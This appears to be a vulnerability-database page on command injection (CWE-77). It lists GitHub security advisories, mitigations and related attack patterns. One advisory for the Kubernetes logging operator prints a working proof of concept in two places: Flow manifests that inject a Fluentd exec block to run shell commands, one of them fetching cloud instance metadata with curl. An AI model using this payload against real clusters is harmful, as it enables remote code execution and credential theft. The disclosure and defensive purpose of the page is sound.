CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5839 vulnerabilities reference this CWE, most recent first.
GHSA-MHXX-5693-798F
Vulnerability from github – Published: 2024-09-27 18:32 – Updated: 2024-10-24 18:30A Command injection vulnerability in requestLetsEncryptSsl in NginxProxyManager 2.11.3 allows an attacker to RCE via Add Let's Encrypt Certificate.
{
"affected": [],
"aliases": [
"CVE-2024-46256"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-27T18:15:05Z",
"severity": "CRITICAL"
},
"details": "A Command injection vulnerability in requestLetsEncryptSsl in NginxProxyManager 2.11.3 allows an attacker to RCE via Add Let\u0027s Encrypt Certificate.",
"id": "GHSA-mhxx-5693-798f",
"modified": "2024-10-24T18:30:41Z",
"published": "2024-09-27T18:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46256"
},
{
"type": "WEB",
"url": "https://github.com/NginxProxyManager/nginx-proxy-manager/pull/4073/commits/c39d5433bcd13993def222bbb2b6988bbb810a05"
},
{
"type": "WEB",
"url": "https://github.com/NginxProxyManager/nginx-proxy-manager/commit/99cce7e2b0da2978411cedd7cac5fffbe15bc466"
},
{
"type": "WEB",
"url": "https://github.com/NginxProxyManager/nginx-proxy-manager/blob/v2.11.3/backend/internal/certificate.js#L830"
},
{
"type": "WEB",
"url": "https://github.com/barttran2k/POC_CVE-2024-46256"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ25-3C4G-WX5R
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2023-06-30 18:31A remote code execution vulnerability was identified in GitHub Enterprise Server that could be exploited when building a GitHub Pages site. User-controlled configuration options used by GitHub Pages were not sufficiently restricted and made it possible to override environment variables leading to code execution on the GitHub Enterprise Server instance. To exploit this vulnerability, an attacker would need permission to create and build a GitHub Pages site on the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.0.3 and was fixed in 3.0.3, 2.22.9, and 2.21.17. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2021-22864"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-23T22:15:00Z",
"severity": "MODERATE"
},
"details": "A remote code execution vulnerability was identified in GitHub Enterprise Server that could be exploited when building a GitHub Pages site. User-controlled configuration options used by GitHub Pages were not sufficiently restricted and made it possible to override environment variables leading to code execution on the GitHub Enterprise Server instance. To exploit this vulnerability, an attacker would need permission to create and build a GitHub Pages site on the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.0.3 and was fixed in 3.0.3, 2.22.9, and 2.21.17. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-mj25-3c4g-wx5r",
"modified": "2023-06-30T18:31:00Z",
"published": "2022-05-24T17:45:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22864"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@2.21/admin/release-notes#2.21.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@2.22/admin/release-notes#2.22.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.0/admin/release-notes#3.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ33-6XC3-8QH6
Vulnerability from github – Published: 2023-02-16 00:30 – Updated: 2023-02-24 18:30A vulnerability has been found in Netgear WNDR3700v2 1.0.1.14 and classified as critical. This vulnerability affects unknown code of the component Web Interface. The manipulation leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-221152.
{
"affected": [],
"aliases": [
"CVE-2023-0849"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-15T22:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been found in Netgear WNDR3700v2 1.0.1.14 and classified as critical. This vulnerability affects unknown code of the component Web Interface. The manipulation leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-221152.",
"id": "GHSA-mj33-6xc3-8qh6",
"modified": "2023-02-24T18:30:27Z",
"published": "2023-02-16T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0849"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.221152"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.221152"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ9G-JM8W-H9P4
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43rakibtg Docker Dashboard before 2021-02-28 allows command injection in backend/utilities/terminal.js via shell metacharacters in the command parameter of an API request. NOTE: this is NOT a Docker, Inc. product.
{
"affected": [],
"aliases": [
"CVE-2021-27886"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-02T00:15:00Z",
"severity": "CRITICAL"
},
"details": "rakibtg Docker Dashboard before 2021-02-28 allows command injection in backend/utilities/terminal.js via shell metacharacters in the command parameter of an API request. NOTE: this is NOT a Docker, Inc. product.",
"id": "GHSA-mj9g-jm8w-h9p4",
"modified": "2022-05-24T17:43:29Z",
"published": "2022-05-24T17:43:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27886"
},
{
"type": "WEB",
"url": "https://github.com/rakibtg/docker-web-gui/issues/23"
},
{
"type": "WEB",
"url": "https://github.com/rakibtg/docker-web-gui/commit/79cdc41809f2030fce21a1109898bd79e4190661"
},
{
"type": "WEB",
"url": "https://www.docker.com/legal/trademark-guidelines"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163416/Docker-Dashboard-Remote-Command-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJQF-28PH-426H
Vulnerability from github – Published: 2026-07-29 17:01 – Updated: 2026-07-29 17:01Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: imds-poc
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kube-logging/logging-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260608145523-cf437d7f1e05"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54680"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T17:01:29Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.\n\nIn the confirmed path, a value in `record_transformer.records` can close the current `\u003crecord\u003e` / `\u003cfilter\u003e` block and add a new `\u003cmatch **\u003e` block. By specifying Fluentd\u0027s core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.\n\n### Details\n\nThe issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87\n\nEach parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `\u003c` and `\u003e` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.\n\nOne input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103\n\nThe config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.\n\n### PoC\n\nThe prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.\n\nFirst, create a minimal `Output` as the log destination.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Output\nmetadata:\n name: sink\n namespace: tenant-a\nspec:\n nullout: {}\n```\n\nNext, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n name: exfil\n namespace: tenant-a\nspec:\n match:\n - select: {}\n filters:\n - record_transformer:\n records:\n - x: |-\n y\n \u003c/record\u003e\n \u003c/filter\u003e\n \u003cmatch **\u003e\n @type exec\n command /bin/sh -c \"id \u003e /tmp/pwned\"\n \u003cformat\u003e\n @type json\n \u003c/format\u003e\n \u003cbuffer\u003e\n flush_interval 1s\n \u003c/buffer\u003e\n \u003c/match\u003e\n \u003cfilter dummy.**\u003e\n @type record_transformer\n \u003crecord\u003e\n absorbed y\n localOutputRefs:\n - sink\n```\n\nAfter applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.\n\n```sh\nkubectl apply -f output.yaml -f flow.yaml\n\nkubectl -n \u003ccontrol-namespace\u003e get secret \u003clogging\u003e-fluentd-app \\\n -o go-template=\u0027{{ index .data \"fluentd.conf\" }}\u0027 \\\n | base64 -d | grep -A8 \u0027@type exec\u0027\n```\n\nWhen any Pod in `tenant-a` emits logs, those logs flow into the injected `\u003cmatch **\u003e` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.\n\n```sh\nkubectl -n \u003ccontrol-namespace\u003e exec \u003cfluentd-aggregator-pod\u003e -- cat /tmp/pwned\n# expected:\nuid=100(fluent) gid=101(fluent) groups=101(fluent)\n```\n\n### Impact\n\nThis is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.\nBecause the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.\n\nIn environments such as AWS EKS, the Fluentd Pod may be able to reach the node\u0027s Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n name: imds-poc\n namespace: tenant-a\nspec:\n match:\n - select: {}\n filters:\n - record_transformer:\n records:\n - x: |-\n y\n \u003c/record\u003e\n \u003c/filter\u003e\n \u003cmatch **\u003e\n @type exec\n command /bin/sh -c \"curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc\"\n \u003cformat\u003e\n @type json\n \u003c/format\u003e\n \u003cbuffer\u003e\n flush_interval 1s\n \u003c/buffer\u003e\n \u003c/match\u003e\n \u003cfilter dummy.**\u003e\n @type record_transformer\n \u003crecord\u003e\n absorbed y\n localOutputRefs:\n - sink\n```",
"id": "GHSA-mjqf-28ph-426h",
"modified": "2026-07-29T17:01:29Z",
"published": "2026-07-29T17:01:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"
},
{
"type": "WEB",
"url": "https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425"
},
{
"type": "PACKAGE",
"url": "https://github.com/kube-logging/logging-operator"
},
{
"type": "WEB",
"url": "https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Logging operator has Fluentd configuration injection that allows remote code execution"
}
GHSA-MJVV-WFM9-3VM3
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30Improper neutralization of special elements used in a command ('command injection') in Github Copilot allows an unauthorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2026-21516"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T18:16:33Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in a command (\u0027command injection\u0027) in Github Copilot allows an unauthorized attacker to execute code over a network.",
"id": "GHSA-mjvv-wfm9-3vm3",
"modified": "2026-02-10T18:30:42Z",
"published": "2026-02-10T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21516"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJW3-486F-P3CF
Vulnerability from github – Published: 2022-03-17 00:00 – Updated: 2022-03-23 00:00Totolink A830R V5.9c.4729_B20191112, A3100R V4.1.2cu.5050_B20200504, A950RG V4.1.2cu.5161_B20200903, A800R V4.1.2cu.5137_B20200730, A3000RU V5.9c.5185_B20201128, and A810R V4.1.2cu.5182_B20201026 were discovered to contain a command injection vulnerability in the function NTPSyncWithHost. This vulnerability allows attackers to execute arbitrary commands via the host_time parameter.
{
"affected": [],
"aliases": [
"CVE-2022-26214"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-15T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Totolink A830R V5.9c.4729_B20191112, A3100R V4.1.2cu.5050_B20200504, A950RG V4.1.2cu.5161_B20200903, A800R V4.1.2cu.5137_B20200730, A3000RU V5.9c.5185_B20201128, and A810R V4.1.2cu.5182_B20201026 were discovered to contain a command injection vulnerability in the function NTPSyncWithHost. This vulnerability allows attackers to execute arbitrary commands via the host_time parameter.",
"id": "GHSA-mjw3-486f-p3cf",
"modified": "2022-03-23T00:00:36Z",
"published": "2022-03-17T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26214"
},
{
"type": "WEB",
"url": "https://github.com/pjqwudi1/my_vuln/blob/main/totolink/vuln_29/29.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MM4F-47CH-F7HX
Vulnerability from github – Published: 2021-04-13 15:32 – Updated: 2022-07-05 18:00This affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "kill-by-port"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23363"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-31T20:18:57Z",
"nvd_published_at": "2021-03-30T15:15:00Z",
"severity": "MODERATE"
},
"details": "This affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.",
"id": "GHSA-mm4f-47ch-f7hx",
"modified": "2022-07-05T18:00:53Z",
"published": "2021-04-13T15:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23363"
},
{
"type": "WEB",
"url": "https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/GuyMograbi/kill-by-port"
},
{
"type": "WEB",
"url": "https://github.com/GuyMograbi/kill-by-port/blob/16dcbe264b6b4a5ecf409661b42836dd286fd43f/index.js#23L8"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-KILLBYPORT-1078531"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary code execution in kill-by-port"
}
GHSA-MM4V-HXM2-MCCJ
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35Huawei FusionCompute versions 6.5.1 and 8.0.0 have a command injection vulnerability. An authenticated, remote attacker can craft specific request to exploit this vulnerability. Due to insufficient verification, this could be exploited to cause the attackers to obtain higher privilege.
{
"affected": [],
"aliases": [
"CVE-2020-9116"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-01T00:15:00Z",
"severity": "HIGH"
},
"details": "Huawei FusionCompute versions 6.5.1 and 8.0.0 have a command injection vulnerability. An authenticated, remote attacker can craft specific request to exploit this vulnerability. Due to insufficient verification, this could be exploited to cause the attackers to obtain higher privilege.",
"id": "GHSA-mm4v-hxm2-mccj",
"modified": "2022-05-24T17:35:22Z",
"published": "2022-05-24T17:35:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9116"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20201118-01-fusioncompute-en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MM8H-C8F9-43H5
Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2022-08-29 20:06H3C GR-1200W MiniGRW1A0V100R006 was discovered to contain a command injection vulnerability via the param parameter at DelL2tpLNSList.
{
"affected": [],
"aliases": [
"CVE-2022-37070"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-25T14:15:00Z",
"severity": "CRITICAL"
},
"details": "H3C GR-1200W MiniGRW1A0V100R006 was discovered to contain a command injection vulnerability via the param parameter at DelL2tpLNSList.",
"id": "GHSA-mm8h-c8f9-43h5",
"modified": "2022-08-29T20:06:53Z",
"published": "2022-08-26T00:03:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37070"
},
{
"type": "WEB",
"url": "https://github.com/Darry-lang1/vuln/tree/main/H3C/GR-1200W/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.